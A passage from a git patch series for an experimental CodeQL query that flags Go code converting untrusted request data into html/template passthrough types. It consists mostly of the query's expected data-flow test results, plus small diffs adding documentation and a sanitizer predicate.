UserAgent : string | HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | +| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | +| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | +| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | +| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | +| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | +| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | | HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : string | HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | +| HTMLTemplateEscapingPassthrough.go:49:23:49:37 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion | | HTMLTemplateEscapingPassthrough.go:49:23:49:37 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | +| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | +| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | +| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | +| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | +| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | +| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | | HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : string | HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | +| HTMLTemplateEscapingPassthrough.go:53:26:53:40 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion | | HTMLTemplateEscapingPassthrough.go:53:26:53:40 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | +| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | +| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | +| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | +| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | +| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | +| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | | HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : string | HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | +| HTMLTemplateEscapingPassthrough.go:57:24:57:38 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion | | HTMLTemplateEscapingPassthrough.go:57:24:57:38 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | +| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | +| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | +| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | +| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | +| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | +| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | | HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : string | HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | +| HTMLTemplateEscapingPassthrough.go:61:27:61:41 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion | | HTMLTemplateEscapingPassthrough.go:61:27:61:41 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | +| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | +| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | +| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | +| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | +| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | +| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | | HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : string | HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | +| HTMLTemplateEscapingPassthrough.go:65:24:65:38 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion | | HTMLTemplateEscapingPassthrough.go:65:24:65:38 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : string | | HTMLTemplateEscapingPassthrough.go:74:17:74:31 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:75:38:75:44 | escaped | +| HTMLTemplateEscapingPassthrough.go:80:10:80:24 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:81:16:81:33 | type conversion | | HTMLTemplateEscapingPassthrough.go:80:10:80:24 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:83:38:83:40 | src | nodes +| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | semmle.label | type conversion : HTML | +| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | semmle.label | type conversion : HTML | +| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | semmle.label | type conversion : HTML | +| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | semmle.label | type conversion : HTML | +| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | semmle.label | type conversion : HTML | +| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | semmle.label | type conversion : HTML | +| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | semmle.label | type conversion : HTML | | HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : string | semmle.label | type conversion : string | | HTMLTemplateEscapingPassthrough.go:28:26:28:40 | call to UserAgent : string | semmle.label | call to UserAgent : string | +| HTMLTemplateEscapingPassthrough.go:28:26:28:40 | call to UserAgent : string | semmle.label | call to UserAgent : string | | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | semmle.label | type conversion : HTML | +| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | semmle.label | type conversion : HTML | +| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | semmle.label | type conversion : HTML | +| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | semmle.label | type conversion : HTML | +| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | semmle.label | type conversion : HTML | +| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | semmle.label | type conversion : HTML | +| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | semmle.label | type conversion : HTML | | HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : string | semmle.label | type conversion : string | | HTMLTemplateEscapingPassthrough.go:34:23:34:37 | call to UserAgent : string | semmle.label | call to UserAgent : string | +| HTMLTemplateEscapingPassthrough.go:34:23:34:37 | call to UserAgent : string | semmle.label | call to UserAgent : string | | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | semmle.label | type conversion : HTML | +| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | semmle.label | type conversion : HTML | +| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | semmle.label | type conversion : HTML | +| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | semmle.label | type conversion : HTML | +| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | semmle.label | type conversion : HTML | +| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | semmle.label | type conversion : HTML | +| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | semmle.label | type conversion : HTML | | HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : string | semmle.label | type conversion : string | | HTMLTemplateEscapingPassthrough.go:39:19:39:33 | call to UserAgent : string | semmle.label | call to UserAgent : string | +| HTMLTemplateEscapingPassthrough.go:39:19:39:33 | call to UserAgent : string | semmle.label | call to UserAgent : string | | HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | semmle.label | a | +| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | semmle.label | type conversion : HTMLAttr | +| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | semmle.label | type conversion : HTMLAttr | +| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | semmle.label | type conversion : HTMLAttr | +| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | semmle.label | type conversion : HTMLAttr | +| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | semmle.label | type conversion : HTMLAttr | +| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | semmle.label | type conversion : HTMLAttr | +| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | semmle.label | type conversion : HTMLAttr | | HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : string | semmle.label | type conversion : string | | HTMLTemplateEscapingPassthrough.go:45:29:45:43 | call to UserAgent : string | semmle.label | call to UserAgent : string | +| HTMLTemplateEscapingPassthrough.go:45:29:45:43 | call to UserAgent : string | semmle.label | call to UserAgent : string | | HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | semmle.label | c | +| HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | semmle.label | c | +| HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | semmle.label | c | +| HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | semmle.label | c | +| HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | semmle.label | c | +| HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | semmle.label | c | +| HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | semmle.label | c | +| HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | semmle.label | c | +| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | semmle.label | type conversion : JS | +| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | semmle.label | type conversion : JS | +| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | semmle.label | type conversion : JS | +| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | semmle.label | type conversion : JS | +| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | semmle.label | type conversion : JS | +| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | semmle.label | type conversion : JS | +| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | semmle.label | type conversion : JS | | HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : string | semmle.label | type conversion : string | | HTMLTemplateEscapingPassthrough.go:49:23:49:37 | call to UserAgent : string | semmle.label | call to UserAgent : string | +| HTMLTemplateEscapingPassthrough.go:49:23:49:37 | call to UserAgent : string | semmle.label | call to UserAgent : string | | HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | semmle.label | d | +| HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | semmle.label | d | +| HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | semmle.label | d | +| HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | semmle.label | d | +| HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | semmle.label | d | +| HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | semmle.label | d | +| HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | semmle.label | d | +| HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | semmle.label | d | +| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | semmle.label | type conversion : JSStr | +| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | semmle.label | type conversion : JSStr | +| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | semmle.label | type conversion : JSStr | +| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | semmle.label | type conversion : JSStr | +| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | semmle.label | type conversion : JSStr | +| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | semmle.label | type conversion : JSStr | +| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | semmle.label | type conversion : JSStr | | HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : string | semmle.label | type conversion : string | | HTMLTemplateEscapingPassthrough.go:53:26:53:40 | call to UserAgent : string | semmle.label | call to UserAgent : string | +| HTMLTemplateEscapingPassthrough.go:53:26:53:40 | call to UserAgent : string | semmle.label | call to UserAgent : string | | HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | semmle.label | e | +| HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | semmle.label | e | +| HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | semmle.label | e | +| HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | semmle.label | e | +| HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | semmle.label | e | +| HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | semmle.label | e | +| HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | semmle.label | e | +| HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | semmle.label | e | +| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | semmle.label | type conversion : CSS | +| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | semmle.label | type conversion : CSS | +| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | semmle.label | type conversion : CSS | +| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | semmle.label | type conversion : CSS | +| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | semmle.label | type conversion : CSS | +| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | semmle.label | type conversion : CSS | +| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | semmle.label | type conversion : CSS | | HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : string | semmle.label | type conversion : string | | HTMLTemplateEscapingPassthrough.go:57:24:57:38 | call to UserAgent : string | semmle.label | call to UserAgent : string | +| HTMLTemplateEscapingPassthrough.go:57:24:57:38 | call to UserAgent : string | semmle.label | call to UserAgent : string | | HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | semmle.label | b | +| HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | semmle.label | b | +| HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | semmle.label | b | +| HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | semmle.label | b | +| HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | semmle.label | b | +| HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | semmle.label | b | +| HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | semmle.label | b | +| HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | semmle.label | b | +| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | semmle.label | type conversion : Srcset | +| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | semmle.label | type conversion : Srcset | +| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | semmle.label | type conversion : Srcset | +| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | semmle.label | type conversion : Srcset | +| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | semmle.label | type conversion : Srcset | +| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | semmle.label | type conversion : Srcset | +| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | semmle.label | type conversion : Srcset | | HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : string | semmle.label | type conversion : string | | HTMLTemplateEscapingPassthrough.go:61:27:61:41 | call to UserAgent : string | semmle.label | call to UserAgent : string | +| HTMLTemplateEscapingPassthrough.go:61:27:61:41 | call to UserAgent : string | semmle.label | call to UserAgent : string | | HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | semmle.label | f | +| HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | semmle.label | f | +| HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | semmle.label | f | +| HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | semmle.label | f | +| HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | semmle.label | f | +| HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | semmle.label | f | +| HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | semmle.label | f | +| HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | semmle.label | f | +| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion | semmle.label | type conversion | +| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | semmle.label | type conversion : URL | +| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | semmle.label | type conversion : URL | +| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | semmle.label | type conversion : URL | +| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | semmle.label | type conversion : URL | +| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | semmle.label | type conversion : URL | +| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | semmle.label | type conversion : URL | +| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | semmle.label | type conversion : URL | | HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : string | semmle.label | type conversion : string | | HTMLTemplateEscapingPassthrough.go:65:24:65:38 | call to UserAgent : string | semmle.label | call to UserAgent : string | +| HTMLTemplateEscapingPassthrough.go:65:24:65:38 | call to UserAgent : string | semmle.label | call to UserAgent : string | +| HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | semmle.label | g | +| HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | semmle.label | g | +| HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | semmle.label | g | +| HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | semmle.label | g | +| HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | semmle.label | g | +| HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | semmle.label | g | +| HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | semmle.label | g | | HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | semmle.label | g | | HTMLTemplateEscapingPassthrough.go:74:17:74:31 | call to UserAgent : string | semmle.label | call to UserAgent : string | | HTMLTemplateEscapingPassthrough.go:75:38:75:44 | escaped | semmle.label | escaped | | HTMLTemplateEscapingPassthrough.go:80:10:80:24 | call to UserAgent : string | semmle.label | call to UserAgent : string | +| HTMLTemplateEscapingPassthrough.go:80:10:80:24 | call to UserAgent : string | semmle.label | call to UserAgent : string | +| HTMLTemplateEscapingPassthrough.go:81:16:81:33 | type conversion | semmle.label | type conversion | | HTMLTemplateEscapingPassthrough.go:83:38:83:40 | src | semmle.label | src | #select | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | HTMLTemplateEscapingPassthrough.go:28:26:28:40 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | Data from an $@ will not be auto-escaped because it was $@ to template.HTML | HTMLTemplateEscapingPassthrough.go:28:26:28:40 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion | converted | From 8f124f839507f1f0ff64d9afb31b523ea9a7a7f7 Mon Sep 17 00:00:00 2001 From: Slavomir Date: Thu, 11 Mar 2021 17:23:07 +0100 Subject: [PATCH 15/20] Add missing docs --- .../CWE-79/HTMLTemplateEscapingPassthrough.ql | 12 +++++++++--- 1 file changed, 9 insertions(+), 3 deletions(-) diff --git a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql index d1607921c1e..e2c7e032e14 100755 --- a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql +++ b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql @@ -49,11 +49,14 @@ class FlowConfFromUntrustedToPassthroughTypeConversion extends TaintTracking::Co this = "UntrustedToConversion" + dstTypeName } + /** + * Gets the name of conversion's destination type. + */ string getDstTypeName() { result = dstTypeName } override predicate isSource(DataFlow::Node source) { source instanceof UntrustedFlowSource } - predicate isSinkToPassthroughType(DataFlow::TypeCastNode sink, string name) { + private predicate isSinkToPassthroughType(DataFlow::TypeCastNode sink, string name) { exists(Type typ | typ = sink.getResultType() and typ.getUnderlyingType*().hasQualifiedName("html/template", name) and @@ -90,16 +93,19 @@ class FlowConfPassthroughTypeConversionToTemplateExecutionCall extends TaintTrac FlowConfPassthroughTypeConversionToTemplateExecutionCall() { dstTypeName instanceof PassthroughTypeName and - this = "UnsafeConversionToExec" + dstTypeName + this = "ConversionToExec" + dstTypeName } + /** + * Gets the name of conversion's destination type. + */ string getDstTypeName() { result = dstTypeName } override predicate isSource(DataFlow::Node source) { isSourceConversionToPassthroughType(source, _) } - predicate isSourceConversionToPassthroughType(DataFlow::TypeCastNode source, string name) { + private predicate isSourceConversionToPassthroughType(DataFlow::TypeCastNode source, string name) { exists(Type typ | typ = source.getResultType() and typ.getUnderlyingType*().hasQualifiedName("html/template", name) and From 541c41108657c3c05ff293ef0ec0d481c1a2d3c1 Mon Sep 17 00:00:00 2001 From: Slavomir Date: Thu, 11 Mar 2021 17:39:42 +0100 Subject: [PATCH 16/20] Add isSanitizer predicate to FlowConfFromUntrustedToTemplateExecutionCall, and a test for it --- .../CWE-79/HTMLTemplateEscapingPassthrough.ql | 4 ++++ .../HTMLTemplateEscapingPassthrough.expected | 24 +++++++++++++++++++ .../CWE-79/HTMLTemplateEscapingPassthrough.go | 8 +++++++ 3 files changed, 36 insertions(+) diff --git a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql index e2c7e032e14..df575dfa398 100755 --- a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql +++ b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql @@ -142,6 +142,10 @@ class FlowConfFromUntrustedToTemplateExecutionCall extends TaintTracking::Config override predicate isSource(DataFlow::Node source) { source instanceof UntrustedFlowSource } override predicate isSink(DataFlow::Node sink) { isSinkToTemplateExec(sink, _) } + + override predicate isSanitizer(DataFlow::Node sanitizer) { + sanitizer instanceof SharedXss::Sanitizer + } } /** diff --git a/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.expected b/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.expected index f81c79f791b..bc920fc54b6 100644 --- a/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.expected +++ b/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.expected @@ -92,6 +92,14 @@ edges | HTMLTemplateEscapingPassthrough.go:74:17:74:31 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:75:38:75:44 | escaped | | HTMLTemplateEscapingPassthrough.go:80:10:80:24 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:81:16:81:33 | type conversion | | HTMLTemplateEscapingPassthrough.go:80:10:80:24 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:83:38:83:40 | src | +| HTMLTemplateEscapingPassthrough.go:88:10:88:24 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:90:16:90:77 | type conversion | +| HTMLTemplateEscapingPassthrough.go:90:16:90:77 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:91:38:91:46 | converted | +| HTMLTemplateEscapingPassthrough.go:90:16:90:77 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:91:38:91:46 | converted | +| HTMLTemplateEscapingPassthrough.go:90:16:90:77 | type conversion : HTML | 